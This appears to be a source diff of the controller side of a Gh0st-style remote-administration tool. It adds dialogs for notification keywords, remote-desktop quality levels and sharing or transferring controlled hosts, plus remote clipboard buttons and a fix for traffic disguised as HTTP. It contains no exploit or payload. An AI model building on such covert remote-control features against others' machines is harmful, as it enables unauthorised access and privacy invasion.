SetDlgItemText(IDC_STATIC_KEYWORDS_HINT, _TR(_T("(多个关键词用分号分隔,匹配任一项即触发通知)")));
|
SetDlgItemText(IDC_STATIC_KEYWORDS_HINT, _TR(_T("(每行一个关键词,匹配任一项即触发通知)")));
|
||||||
SetDlgItemText(IDC_STATIC_NOTIFY_TIP, _TR(_T("提示: 同一主机 60 分钟内仅通知一次")));
|
SetDlgItemText(IDC_STATIC_NOTIFY_TIP, _TR(_T("提示: 同一主机 60 分钟内仅通知一次")));
|
||||||
SetDlgItemText(IDOK, _TR("确定"));
|
SetDlgItemText(IDOK, _TR("确定"));
|
||||||
SetDlgItemText(IDCANCEL, _TR("取消"));
|
SetDlgItemText(IDCANCEL, _TR("取消"));
|
||||||
@@ -154,7 +154,24 @@ void NotifySettingsDlg::LoadSettings()
|
|||||||
m_comboNotifyColumn.SetCurSel(rule.columnIndex);
|
m_comboNotifyColumn.SetCurSel(rule.columnIndex);
|
||||||
}
|
}
|
||||||
|
|
||||||
m_editNotifyPattern.SetWindowText(CString(rule.matchPattern.c_str()));
|
// Display stored semicolon-separated keywords as one keyword per line.
|
||||||
|
{
|
||||||
|
CString pattern;
|
||||||
|
const CString stored(CA2T(rule.matchPattern.c_str(), CP_UTF8));
|
||||||
|
int start = 0;
|
||||||
|
for (;;) {
|
||||||
|
const int pos = stored.Find(_T(';'), start);
|
||||||
|
CString kw = (pos < 0) ? stored.Mid(start) : stored.Mid(start, pos - start);
|
||||||
|
kw.Trim();
|
||||||
|
if (!kw.IsEmpty()) {
|
||||||
|
if (!pattern.IsEmpty()) pattern += _T("\r\n");
|
||||||
|
pattern += kw;
|
||||||
|
}
|
||||||
|
if (pos < 0) break;
|
||||||
|
start = pos + 1;
|
||||||
|
}
|
||||||
|
m_editNotifyPattern.SetWindowText(pattern);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void NotifySettingsDlg::SaveSettings()
|
void NotifySettingsDlg::SaveSettings()
|
||||||
@@ -189,8 +206,26 @@ void NotifySettingsDlg::SaveSettings()
|
|||||||
sel = m_comboNotifyColumn.GetCurSel();
|
sel = m_comboNotifyColumn.GetCurSel();
|
||||||
rule.columnIndex = (sel >= 0) ? (int)m_comboNotifyColumn.GetItemData(sel) : ONLINELIST_COMPUTER_NAME;
|
rule.columnIndex = (sel >= 0) ? (int)m_comboNotifyColumn.GetItemData(sel) : ONLINELIST_COMPUTER_NAME;
|
||||||
|
|
||||||
|
// Normalize one-keyword-per-line input back to semicolon-separated storage.
|
||||||
m_editNotifyPattern.GetWindowText(str);
|
m_editNotifyPattern.GetWindowText(str);
|
||||||
rule.matchPattern = CT2A(str, CP_UTF8);
|
str.Replace(_T("\r\n"), _T("\n"));
|
||||||
|
str.Replace(_T('\r'), _T('\n'));
|
||||||
|
{
|
||||||
|
CString joined;
|
||||||
|
int start = 0;
|
||||||
|
for (;;) {
|
||||||
|
const int pos = str.Find(_T('\n'), start);
|
||||||
|
CString kw = (pos < 0) ? str.Mid(start) : str.Mid(start, pos - start);
|
||||||
|
kw.Trim();
|
||||||
|
if (!kw.IsEmpty()) {
|
||||||
|
if (!joined.IsEmpty()) joined += _T(';');
|
||||||
|
joined += kw;
|
||||||
|
}
|
||||||
|
if (pos < 0) break;
|
||||||
|
start = pos + 1;
|
||||||
|
}
|
||||||
|
rule.matchPattern = CT2A(joined, CP_UTF8);
|
||||||
|
}
|
||||||
|
|
||||||
// Update manager config and save
|
// Update manager config and save
|
||||||
GetNotifyManager().SetConfig(m_config);
|
GetNotifyManager().SetConfig(m_config);
|
||||||
|
|||||||
@@ -0,0 +1,156 @@
|
|||||||
|
// QualityLevelsDlg.h
|
||||||
|
// 远程桌面质量等级配置对话框:编辑 6 档 QualityProfile(帧率/宽度/算法/码率)。
|
||||||
|
// 纯主控端 UI 偏好,持久化由 CMy2015RemoteDlg::SaveQualityProfilesToCfg() 负责。
|
||||||
|
// 仅在 2015RemoteDlg.cpp 中 include 一次(头文件内联实现,勿多处包含)。
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "LangManager.h"
|
||||||
|
|
||||||
|
class CQualityLevelsDlg : public CDialog
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
enum { IDD = IDD_QUALITY_LEVELS };
|
||||||
|
|
||||||
|
// profiles: 指向 6 元素 QualityProfile 数组,确认后写回
|
||||||
|
CQualityLevelsDlg(QualityProfile* profiles, CWnd* pParent = NULL)
|
||||||
|
: CDialog(CQualityLevelsDlg::IDD, pParent), m_profiles(profiles)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
protected:
|
||||||
|
QualityProfile* m_profiles;
|
||||||
|
QualityProfile m_working[QUALITY_COUNT];
|
||||||
|
|
||||||
|
static const char* AlgorithmName(int algo)
|
||||||
|
{
|
||||||
|
switch (algo) {
|
||||||
|
case ALGORITHM_GRAY: return "GRAY";
|
||||||
|
case ALGORITHM_DIFF: return "DIFF";
|
||||||
|
case ALGORITHM_H264: return "H264";
|
||||||
|
case ALGORITHM_RGB565: return "RGB565";
|
||||||
|
default: return "?";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static const char* LevelName(int i)
|
||||||
|
{
|
||||||
|
static const char* names[QUALITY_COUNT] = {
|
||||||
|
"Ultra", "High", "Good", "Medium", "Low", "Minimal"
|
||||||
|
};
|
||||||
|
return (i >= 0 && i < QUALITY_COUNT) ? names[i] : "?";
|
||||||
|
}
|
||||||
|
|
||||||
|
void FillAlgoCombo(int i)
|
||||||
|
{
|
||||||
|
CComboBox* cb = (CComboBox*)GetDlgItem(IDC_QLEVEL_ALGO + i);
|
||||||
|
if (!cb) return;
|
||||||
|
for (int a = 0; a < 4; a++) {
|
||||||
|
cb->AddString(CString(AlgorithmName(a)));
|
||||||
|
}
|
||||||
|
cb->SetCurSel(m_working[i].algorithm);
|
||||||
|
}
|
||||||
|
|
||||||
|
void LoadToControls()
|
||||||
|
{
|
||||||
|
CString s;
|
||||||
|
for (int i = 0; i < QUALITY_COUNT; i++) {
|
||||||
|
s.Format(_T("%d"), m_working[i].maxFPS);
|
||||||
|
SetDlgItemText(IDC_QLEVEL_FPS + i, s);
|
||||||
|
s.Format(_T("%d"), m_working[i].maxWidth);
|
||||||
|
SetDlgItemText(IDC_QLEVEL_WIDTH + i, s);
|
||||||
|
s.Format(_T("%d"), m_working[i].bitRate);
|
||||||
|
SetDlgItemText(IDC_QLEVEL_BITRATE + i, s);
|
||||||
|
FillAlgoCombo(i);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
bool ReadInt(int id, int& out)
|
||||||
|
{
|
||||||
|
CString s;
|
||||||
|
GetDlgItemText(id, s);
|
||||||
|
s.Trim();
|
||||||
|
if (s.IsEmpty()) return false;
|
||||||
|
|
||||||
|
int v = 0;
|
||||||
|
for (int k = 0; k < s.GetLength(); k++) {
|
||||||
|
TCHAR ch = s[k];
|
||||||
|
if (ch < _T('0') || ch > _T('9')) return false;
|
||||||
|
v = v * 10 + (ch - _T('0'));
|
||||||
|
}
|
||||||
|
out = v;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool ReadFromControls(CString& err)
|
||||||
|
{
|
||||||
|
for (int i = 0; i < QUALITY_COUNT; i++) {
|
||||||
|
int fps, w, br;
|
||||||
|
if (!ReadInt(IDC_QLEVEL_FPS + i, fps))
|
||||||
|
{ err.Format(_T("等级 %s 的帧率不是有效数字"), LevelName(i)); return false; }
|
||||||
|
if (!ReadInt(IDC_QLEVEL_WIDTH + i, w))
|
||||||
|
{ err.Format(_T("等级 %s 的最大宽度不是有效数字"), LevelName(i)); return false; }
|
||||||
|
if (!ReadInt(IDC_QLEVEL_BITRATE + i, br))
|
||||||
|
{ err.Format(_T("等级 %s 的码率不是有效数字"), LevelName(i)); return false; }
|
||||||
|
|
||||||
|
if (fps < 1 || fps > 60)
|
||||||
|
{ err.Format(_T("等级 %s 的帧率需在 1~60 之间"), LevelName(i)); return false; }
|
||||||
|
if (w < 0 || w > 8192)
|
||||||
|
{ err.Format(_T("等级 %s 的最大宽度需在 0~8192 之间(0=原始分辨率)"), LevelName(i)); return false; }
|
||||||
|
if (br < 0 || br > 50000)
|
||||||
|
{ err.Format(_T("等级 %s 的码率需在 0~50000 之间"), LevelName(i)); return false; }
|
||||||
|
|
||||||
|
CComboBox* cb = (CComboBox*)GetDlgItem(IDC_QLEVEL_ALGO + i);
|
||||||
|
int algo = cb ? cb->GetCurSel() : -1;
|
||||||
|
if (algo < 0 || algo > 3)
|
||||||
|
{ err.Format(_T("等级 %s 的编码算法未选择"), LevelName(i)); return false; }
|
||||||
|
|
||||||
|
m_working[i].maxFPS = fps;
|
||||||
|
m_working[i].maxWidth = w;
|
||||||
|
m_working[i].bitRate = br;
|
||||||
|
m_working[i].algorithm = algo;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
void ResetToDefaults()
|
||||||
|
{
|
||||||
|
for (int i = 0; i < QUALITY_COUNT; i++) {
|
||||||
|
m_working[i] = GetQualityProfile(i);
|
||||||
|
}
|
||||||
|
LoadToControls();
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual BOOL OnInitDialog() override
|
||||||
|
{
|
||||||
|
CDialog::OnInitDialog();
|
||||||
|
|
||||||
|
for (int i = 0; i < QUALITY_COUNT; i++) {
|
||||||
|
m_working[i] = m_profiles[i];
|
||||||
|
}
|
||||||
|
LoadToControls();
|
||||||
|
TranslateDialog(this);
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual void OnOK() override
|
||||||
|
{
|
||||||
|
CString err;
|
||||||
|
if (!ReadFromControls(err)) {
|
||||||
|
MessageBox(err, _TR("提示"), MB_ICONWARNING);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
for (int i = 0; i < QUALITY_COUNT; i++) {
|
||||||
|
m_profiles[i] = m_working[i];
|
||||||
|
}
|
||||||
|
CDialog::OnOK();
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual BOOL OnCommand(WPARAM wParam, LPARAM lParam) override
|
||||||
|
{
|
||||||
|
if (LOWORD(wParam) == IDC_QLEVEL_RESET && HIWORD(wParam) == BN_CLICKED) {
|
||||||
|
ResetToDefaults();
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
return CDialog::OnCommand(wParam, lParam);
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -889,13 +889,17 @@ BOOL CScreenSpyDlg::OnInitDialog()
|
|||||||
// 启动传输速率更新定时器 (1秒)
|
// 启动传输速率更新定时器 (1秒)
|
||||||
SetTimer(4, 1000, NULL);
|
SetTimer(4, 1000, NULL);
|
||||||
|
|
||||||
// 下发质量配置表(让客户端可以持久化保存)
|
// 下发质量配置表(让客户端可以持久化保存)。
|
||||||
|
// 优先使用主控端在「高级 → 远程桌面质量等级」里自定义的档位;无主控端时回落内置默认表。
|
||||||
{
|
{
|
||||||
BYTE profileCmd[1 + sizeof(QualityProfile) * QUALITY_COUNT];
|
BYTE profileCmd[1 + sizeof(QualityProfile) * QUALITY_COUNT];
|
||||||
profileCmd[0] = CMD_QUALITY_PROFILES;
|
profileCmd[0] = CMD_QUALITY_PROFILES;
|
||||||
for (int i = 0; i < QUALITY_COUNT; i++) {
|
for (int i = 0; i < QUALITY_COUNT; i++) {
|
||||||
|
const QualityProfile& prof = (m_pParent != nullptr)
|
||||||
|
? m_pParent->GetQualityProfileCfg(i)
|
||||||
|
: GetQualityProfile(i);
|
||||||
memcpy(profileCmd + 1 + i * sizeof(QualityProfile),
|
memcpy(profileCmd + 1 + i * sizeof(QualityProfile),
|
||||||
&GetQualityProfile(i), sizeof(QualityProfile));
|
&prof, sizeof(QualityProfile));
|
||||||
}
|
}
|
||||||
m_ContextObject->Send2Client(profileCmd, sizeof(profileCmd));
|
m_ContextObject->Send2Client(profileCmd, sizeof(profileCmd));
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -112,7 +112,12 @@ protected:
|
|||||||
m_bShouldUnmask = TRUE;
|
m_bShouldUnmask = TRUE;
|
||||||
std::string clientIP = getXForwardedFor(str);
|
std::string clientIP = getXForwardedFor(str);
|
||||||
if (!clientIP.empty()) peer = clientIP;
|
if (!clientIP.empty()) peer = clientIP;
|
||||||
} else {
|
} else if (m_bShouldUnmask != TRUE) {
|
||||||
|
// 仅当连接尚未被判定为 HTTP(初始 -1,或已确认非 HTTP)时才置为 FALSE。
|
||||||
|
// 否则会误伤 HTTP 连接的分片续包:续包到达时读位置已越过掩码头,
|
||||||
|
// TryUnMask 找不到 "POST "(maskType==None),若在这里把 m_bShouldUnmask
|
||||||
|
// 从 TRUE 改回 FALSE,下一个新包(仍是 HTTP 掩码)就不再解掩码,从而被 Parse
|
||||||
|
// 判为 PARSER_FAILED。这正是「kill 后进程列表确认包到不了 NotifyProc」的根因。
|
||||||
m_bShouldUnmask = FALSE;
|
m_bShouldUnmask = FALSE;
|
||||||
}
|
}
|
||||||
if (nullptr == m_Masker) {
|
if (nullptr == m_Masker) {
|
||||||
@@ -568,6 +573,20 @@ public:
|
|||||||
}
|
}
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
// 等待 OutCompressedBuffer 排空。OnClientPostSending 在最后一个 WSASend 完成后
|
||||||
|
// ClearBuffer 使有效长度归零,此处轮询该信号,避免背靠背 Send2Client 对同一缓冲
|
||||||
|
// 并发 WSASend(MCP OnSystemReady 发写命令后补发刷新命令时调用)。
|
||||||
|
bool WaitSendIdle(int timeoutMs) override
|
||||||
|
{
|
||||||
|
ULONGLONG deadline = (timeoutMs > 0) ? (GetTickCount64() + (ULONGLONG)timeoutMs) : 0;
|
||||||
|
while (OutCompressedBuffer.GetBufferLength() != 0) {
|
||||||
|
if (timeoutMs > 0 && GetTickCount64() >= deadline) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
Sleep(1);
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
VOID SetClientInfo(const CString(&s)[ONLINELIST_MAX], const std::vector<std::string>& a = {})
|
VOID SetClientInfo(const CString(&s)[ONLINELIST_MAX], const std::vector<std::string>& a = {})
|
||||||
{
|
{
|
||||||
for (int i = 0; i < ONLINELIST_MAX; i++) {
|
for (int i = 0; i < ONLINELIST_MAX; i++) {
|
||||||
|
|||||||
@@ -0,0 +1,125 @@
|
|||||||
|
// ShareHostDlg.cpp: 分享主机 / 转移主机 专用对话框实现
|
||||||
|
//
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "ShareHostDlg.h"
|
||||||
|
#include "2015Remote.h"
|
||||||
|
#include <algorithm>
|
||||||
|
|
||||||
|
CShareHostDlg::CShareHostDlg(CWnd* pParent /*=nullptr*/, BOOL bNeedDays /*=FALSE*/)
|
||||||
|
: CDialogLangEx(IDD_DIALOG_SHARE_HOST, pParent)
|
||||||
|
, m_bNeedDays(bNeedDays)
|
||||||
|
, m_bShine(TRUE)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
CShareHostDlg::~CShareHostDlg()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
void CShareHostDlg::Init(LPCTSTR caption, LPCTSTR prompt)
|
||||||
|
{
|
||||||
|
m_sCaption = caption;
|
||||||
|
m_sPrompt = prompt;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CShareHostDlg::InitDays(LPCTSTR name, LPCTSTR defaultValue)
|
||||||
|
{
|
||||||
|
m_sDaysName = name;
|
||||||
|
m_sDays = defaultValue;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CShareHostDlg::SetHistoryKey(LPCTSTR historyKey)
|
||||||
|
{
|
||||||
|
m_sHistoryKey = historyKey;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CShareHostDlg::DoDataExchange(CDataExchange* pDX)
|
||||||
|
{
|
||||||
|
CDialogLangEx::DoDataExchange(pDX);
|
||||||
|
DDX_Control(pDX, IDC_EDIT_SHARE_ADDRESS, m_ComboInput);
|
||||||
|
DDX_Control(pDX, IDC_STATIC_SHARE_DAYS, m_StaticDays);
|
||||||
|
DDX_Control(pDX, IDC_EDIT_SHARE_DAYS, m_EditDays);
|
||||||
|
DDX_Control(pDX, IDC_CHECK_USE_SHINE, m_CheckShine);
|
||||||
|
}
|
||||||
|
|
||||||
|
BEGIN_MESSAGE_MAP(CShareHostDlg, CDialogLangEx)
|
||||||
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
BOOL CShareHostDlg::OnInitDialog()
|
||||||
|
{
|
||||||
|
CDialogLangEx::OnInitDialog();
|
||||||
|
|
||||||
|
SetWindowText(m_sCaption);
|
||||||
|
SetDlgItemText(IDC_STATIC_SHARE_ADDRESS, m_sPrompt);
|
||||||
|
SetDlgItemText(IDC_CHECK_USE_SHINE, _TR("使用 Shine 协议(兼容 Go 服务端)"));
|
||||||
|
SetDlgItemText(IDOK, _TR("确定"));
|
||||||
|
SetDlgItemText(IDCANCEL, _TR("取消"));
|
||||||
|
|
||||||
|
// 天数(仅转移主机显示)
|
||||||
|
m_StaticDays.SetWindowTextA(m_sDaysName);
|
||||||
|
m_StaticDays.ShowWindow(m_bNeedDays ? SW_SHOW : SW_HIDE);
|
||||||
|
m_EditDays.SetWindowTextA(m_sDays);
|
||||||
|
m_EditDays.ShowWindow(m_bNeedDays ? SW_SHOW : SW_HIDE);
|
||||||
|
|
||||||
|
// 默认勾选 Shine
|
||||||
|
m_CheckShine.SetCheck(m_bShine ? BST_CHECKED : BST_UNCHECKED);
|
||||||
|
|
||||||
|
LoadHistory();
|
||||||
|
m_ComboInput.SetWindowText(m_str);
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CShareHostDlg::OnOK()
|
||||||
|
{
|
||||||
|
m_ComboInput.GetWindowText(m_str);
|
||||||
|
m_bShine = (m_CheckShine.GetCheck() == BST_CHECKED);
|
||||||
|
if (m_bNeedDays)
|
||||||
|
m_EditDays.GetWindowText(m_sDays);
|
||||||
|
|
||||||
|
SaveHistory();
|
||||||
|
CDialogLangEx::OnOK();
|
||||||
|
}
|
||||||
|
|
||||||
|
void CShareHostDlg::LoadHistory()
|
||||||
|
{
|
||||||
|
if (m_sHistoryKey.IsEmpty()) return;
|
||||||
|
|
||||||
|
std::string history = THIS_CFG.GetStr("history", m_sHistoryKey.GetString());
|
||||||
|
if (history.empty()) return;
|
||||||
|
|
||||||
|
auto items = StringToVector(history, '|');
|
||||||
|
for (size_t i = 0; i < items.size() && i < 16; i++) {
|
||||||
|
if (!items[i].empty()) {
|
||||||
|
m_ComboInput.AddString(items[i].c_str());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CShareHostDlg::SaveHistory()
|
||||||
|
{
|
||||||
|
if (m_sHistoryKey.IsEmpty() || m_str.IsEmpty()) return;
|
||||||
|
|
||||||
|
std::string newValue = m_str.GetString();
|
||||||
|
if (newValue.find('|') != std::string::npos) return;
|
||||||
|
|
||||||
|
std::string history = THIS_CFG.GetStr("history", m_sHistoryKey.GetString());
|
||||||
|
auto items = StringToVector(history, '|');
|
||||||
|
|
||||||
|
items.erase(std::remove(items.begin(), items.end(), newValue), items.end());
|
||||||
|
items.erase(std::remove(items.begin(), items.end(), std::string("")), items.end());
|
||||||
|
|
||||||
|
items.insert(items.begin(), newValue);
|
||||||
|
|
||||||
|
if (items.size() > 16) {
|
||||||
|
items.resize(16);
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string result;
|
||||||
|
for (size_t i = 0; i < items.size(); i++) {
|
||||||
|
if (i > 0) result += '|';
|
||||||
|
result += items[i];
|
||||||
|
}
|
||||||
|
THIS_CFG.SetStr("history", m_sHistoryKey.GetString(), result);
|
||||||
|
}
|
||||||
@@ -0,0 +1,45 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "resource.h"
|
||||||
|
#include "LangManager.h"
|
||||||
|
|
||||||
|
// 分享主机 / 转移主机 专用对话框(带 Shine/HELL 协议勾选)
|
||||||
|
|
||||||
|
class CShareHostDlg : public CDialogLangEx
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CShareHostDlg(CWnd* pParent = nullptr, BOOL bNeedDays = FALSE);
|
||||||
|
virtual ~CShareHostDlg();
|
||||||
|
|
||||||
|
enum { IDD = IDD_DIALOG_SHARE_HOST };
|
||||||
|
|
||||||
|
void Init(LPCTSTR caption, LPCTSTR prompt);
|
||||||
|
void InitDays(LPCTSTR name, LPCTSTR defaultValue); // 仅转移主机显示
|
||||||
|
void SetHistoryKey(LPCTSTR historyKey);
|
||||||
|
|
||||||
|
// 结果
|
||||||
|
CString m_str; // 地址 IP:PORT
|
||||||
|
CString m_sDays; // 天数(转移主机)
|
||||||
|
BOOL m_bShine; // TRUE=Shine(0), FALSE=HELL(1)
|
||||||
|
|
||||||
|
protected:
|
||||||
|
virtual void DoDataExchange(CDataExchange* pDX);
|
||||||
|
virtual BOOL OnInitDialog();
|
||||||
|
virtual void OnOK();
|
||||||
|
|
||||||
|
DECLARE_MESSAGE_MAP()
|
||||||
|
|
||||||
|
CString m_sCaption;
|
||||||
|
CString m_sPrompt;
|
||||||
|
CString m_sDaysName;
|
||||||
|
CString m_sHistoryKey;
|
||||||
|
BOOL m_bNeedDays;
|
||||||
|
|
||||||
|
CComboBox m_ComboInput;
|
||||||
|
CStatic m_StaticDays;
|
||||||
|
CEdit m_EditDays;
|
||||||
|
CButton m_CheckShine;
|
||||||
|
|
||||||
|
void LoadHistory();
|
||||||
|
void SaveHistory();
|
||||||
|
};
|
||||||
@@ -39,6 +39,8 @@ BEGIN_MESSAGE_MAP(CToolbarDlg, CDialogEx)
|
|||||||
ON_BN_CLICKED(IDC_BTN_Y, &CToolbarDlg::OnBnClickedY)
|
ON_BN_CLICKED(IDC_BTN_Y, &CToolbarDlg::OnBnClickedY)
|
||||||
ON_BN_CLICKED(IDC_BTN_Z, &CToolbarDlg::OnBnClickedZ)
|
ON_BN_CLICKED(IDC_BTN_Z, &CToolbarDlg::OnBnClickedZ)
|
||||||
ON_BN_CLICKED(IDC_BTN_SCREENSHOT, &CToolbarDlg::OnBnClickedScreenshot)
|
ON_BN_CLICKED(IDC_BTN_SCREENSHOT, &CToolbarDlg::OnBnClickedScreenshot)
|
||||||
|
ON_BN_CLICKED(IDC_BTN_GET_CLIPBOARD, &CToolbarDlg::OnBnClickedGetClipboard)
|
||||||
|
ON_BN_CLICKED(IDC_BTN_SET_CLIPBOARD, &CToolbarDlg::OnBnClickedSetClipboard)
|
||||||
ON_WM_ERASEBKGND()
|
ON_WM_ERASEBKGND()
|
||||||
END_MESSAGE_MAP()
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
@@ -88,7 +90,7 @@ void CToolbarDlg::CheckMousePosition()
|
|||||||
int monWidth = monRight - monLeft;
|
int monWidth = monRight - monLeft;
|
||||||
int monHeight = monBottom - monTop;
|
int monHeight = monBottom - monTop;
|
||||||
|
|
||||||
int btnSize = 32, btnSpacing = 8, btnCount = 16;
|
int btnSize = 32, btnSpacing = 8, btnCount = 18;
|
||||||
|
|
||||||
if (m_nPosition <= 1) {
|
if (m_nPosition <= 1) {
|
||||||
// 水平模式 (上/下)
|
// 水平模式 (上/下)
|
||||||
@@ -153,9 +155,9 @@ void CToolbarDlg::SlideIn()
|
|||||||
int monWidth = monRight - monLeft;
|
int monWidth = monRight - monLeft;
|
||||||
int monHeight = monBottom - monTop;
|
int monHeight = monBottom - monTop;
|
||||||
|
|
||||||
int hw = 640; // 水平工具栏宽度 (与垂直高度一致)
|
int hw = 720; // 水平工具栏宽度 (与垂直高度一致)
|
||||||
int vw = 40;
|
int vw = 40;
|
||||||
int vh = 640;
|
int vh = 720;
|
||||||
|
|
||||||
// 从边缘展开(改变窗口大小),避免多显示器时跑到相邻屏幕
|
// 从边缘展开(改变窗口大小),避免多显示器时跑到相邻屏幕
|
||||||
switch (m_nPosition) {
|
switch (m_nPosition) {
|
||||||
@@ -212,9 +214,9 @@ void CToolbarDlg::SlideOut()
|
|||||||
int monWidth = monRight - monLeft;
|
int monWidth = monRight - monLeft;
|
||||||
int monHeight = monBottom - monTop;
|
int monHeight = monBottom - monTop;
|
||||||
|
|
||||||
int hw = 640;
|
int hw = 720;
|
||||||
int vw = 40;
|
int vw = 40;
|
||||||
int vh = 640;
|
int vh = 720;
|
||||||
|
|
||||||
CWnd* btns[] = {
|
CWnd* btns[] = {
|
||||||
&m_btnExit, &m_btnControl,
|
&m_btnExit, &m_btnControl,
|
||||||
@@ -224,9 +226,10 @@ void CToolbarDlg::SlideOut()
|
|||||||
&m_btnQuality, &m_btnRestoreConsole,
|
&m_btnQuality, &m_btnRestoreConsole,
|
||||||
&m_btnX, &m_btnY, &m_btnZ,
|
&m_btnX, &m_btnY, &m_btnZ,
|
||||||
&m_btnScreenshot,
|
&m_btnScreenshot,
|
||||||
|
&m_btnGetClipboard, &m_btnSetClipboard,
|
||||||
&m_btnMinimize, &m_btnClose,
|
&m_btnMinimize, &m_btnClose,
|
||||||
};
|
};
|
||||||
const int N = 16;
|
const int N = 18;
|
||||||
CRect btnRects[N];
|
CRect btnRects[N];
|
||||||
for (int i = 0; i < N; i++) {
|
for (int i = 0; i < N; i++) {
|
||||||
btns[i]->GetWindowRect(&btnRects[i]);
|
btns[i]->GetWindowRect(&btnRects[i]);
|
||||||
@@ -331,6 +334,8 @@ BOOL CToolbarDlg::OnInitDialog()
|
|||||||
m_btnY.SubclassDlgItem(IDC_BTN_Y, this);
|
m_btnY.SubclassDlgItem(IDC_BTN_Y, this);
|
||||||
m_btnZ.SubclassDlgItem(IDC_BTN_Z, this);
|
m_btnZ.SubclassDlgItem(IDC_BTN_Z, this);
|
||||||
m_btnScreenshot.SubclassDlgItem(IDC_BTN_SCREENSHOT, this);
|
m_btnScreenshot.SubclassDlgItem(IDC_BTN_SCREENSHOT, this);
|
||||||
|
m_btnGetClipboard.SubclassDlgItem(IDC_BTN_GET_CLIPBOARD, this);
|
||||||
|
m_btnSetClipboard.SubclassDlgItem(IDC_BTN_SET_CLIPBOARD, this);
|
||||||
m_btnMinimize.SubclassDlgItem(IDC_BTN_MINIMIZE, this);
|
m_btnMinimize.SubclassDlgItem(IDC_BTN_MINIMIZE, this);
|
||||||
m_btnClose.SubclassDlgItem(IDC_BTN_CLOSE, this);
|
m_btnClose.SubclassDlgItem(IDC_BTN_CLOSE, this);
|
||||||
|
|
||||||
@@ -343,6 +348,8 @@ BOOL CToolbarDlg::OnInitDialog()
|
|||||||
// Y按钮图标在 UpdateButtonIcons 中根据音频状态动态设置
|
// Y按钮图标在 UpdateButtonIcons 中根据音频状态动态设置
|
||||||
m_btnZ.SetIconDrawFunc(CIconButton::DrawIconLetterZ); // 预留按钮 Z
|
m_btnZ.SetIconDrawFunc(CIconButton::DrawIconLetterZ); // 预留按钮 Z
|
||||||
m_btnScreenshot.SetIconDrawFunc(CIconButton::DrawIconScreenshot);
|
m_btnScreenshot.SetIconDrawFunc(CIconButton::DrawIconScreenshot);
|
||||||
|
m_btnGetClipboard.SetIconDrawFunc(CIconButton::DrawIconLetterC);
|
||||||
|
m_btnSetClipboard.SetIconDrawFunc(CIconButton::DrawIconLetterP);
|
||||||
m_btnMinimize.SetIconDrawFunc(CIconButton::DrawIconMinimize);
|
m_btnMinimize.SetIconDrawFunc(CIconButton::DrawIconMinimize);
|
||||||
m_btnClose.SetIconDrawFunc(CIconButton::DrawIconClose);
|
m_btnClose.SetIconDrawFunc(CIconButton::DrawIconClose);
|
||||||
m_btnClose.SetIsCloseButton(true);
|
m_btnClose.SetIsCloseButton(true);
|
||||||
@@ -367,6 +374,8 @@ BOOL CToolbarDlg::OnInitDialog()
|
|||||||
m_tooltip.AddTool(&m_btnY, pParent->m_Settings.AudioEnabled ? _TR("关闭系统音频") : _TR("打开系统音频"));
|
m_tooltip.AddTool(&m_btnY, pParent->m_Settings.AudioEnabled ? _TR("关闭系统音频") : _TR("打开系统音频"));
|
||||||
m_tooltip.AddTool(&m_btnZ, _TR("选择ROI"));
|
m_tooltip.AddTool(&m_btnZ, _TR("选择ROI"));
|
||||||
m_tooltip.AddTool(&m_btnScreenshot, _TR("截图"));
|
m_tooltip.AddTool(&m_btnScreenshot, _TR("截图"));
|
||||||
|
m_tooltip.AddTool(&m_btnGetClipboard, _TR("获取剪贴板"));
|
||||||
|
m_tooltip.AddTool(&m_btnSetClipboard, _TR("设置剪贴板"));
|
||||||
m_tooltip.AddTool(&m_btnMinimize, _TR("最小化"));
|
m_tooltip.AddTool(&m_btnMinimize, _TR("最小化"));
|
||||||
m_tooltip.AddTool(&m_btnClose, _TR("关闭"));
|
m_tooltip.AddTool(&m_btnClose, _TR("关闭"));
|
||||||
|
|
||||||
@@ -383,9 +392,9 @@ BOOL CToolbarDlg::OnInitDialog()
|
|||||||
int monWidth = rcMonitor.right - rcMonitor.left;
|
int monWidth = rcMonitor.right - rcMonitor.left;
|
||||||
int monHeight = rcMonitor.bottom - rcMonitor.top;
|
int monHeight = rcMonitor.bottom - rcMonitor.top;
|
||||||
|
|
||||||
int hw = 640;
|
int hw = 720;
|
||||||
int vw = 40;
|
int vw = 40;
|
||||||
int vh = 640;
|
int vh = 720;
|
||||||
int hx = rcMonitor.left + (monWidth - hw) / 2;
|
int hx = rcMonitor.left + (monWidth - hw) / 2;
|
||||||
|
|
||||||
switch (m_nPosition) {
|
switch (m_nPosition) {
|
||||||
@@ -514,7 +523,7 @@ void CToolbarDlg::LayoutButtons()
|
|||||||
{
|
{
|
||||||
int btnSize = 32;
|
int btnSize = 32;
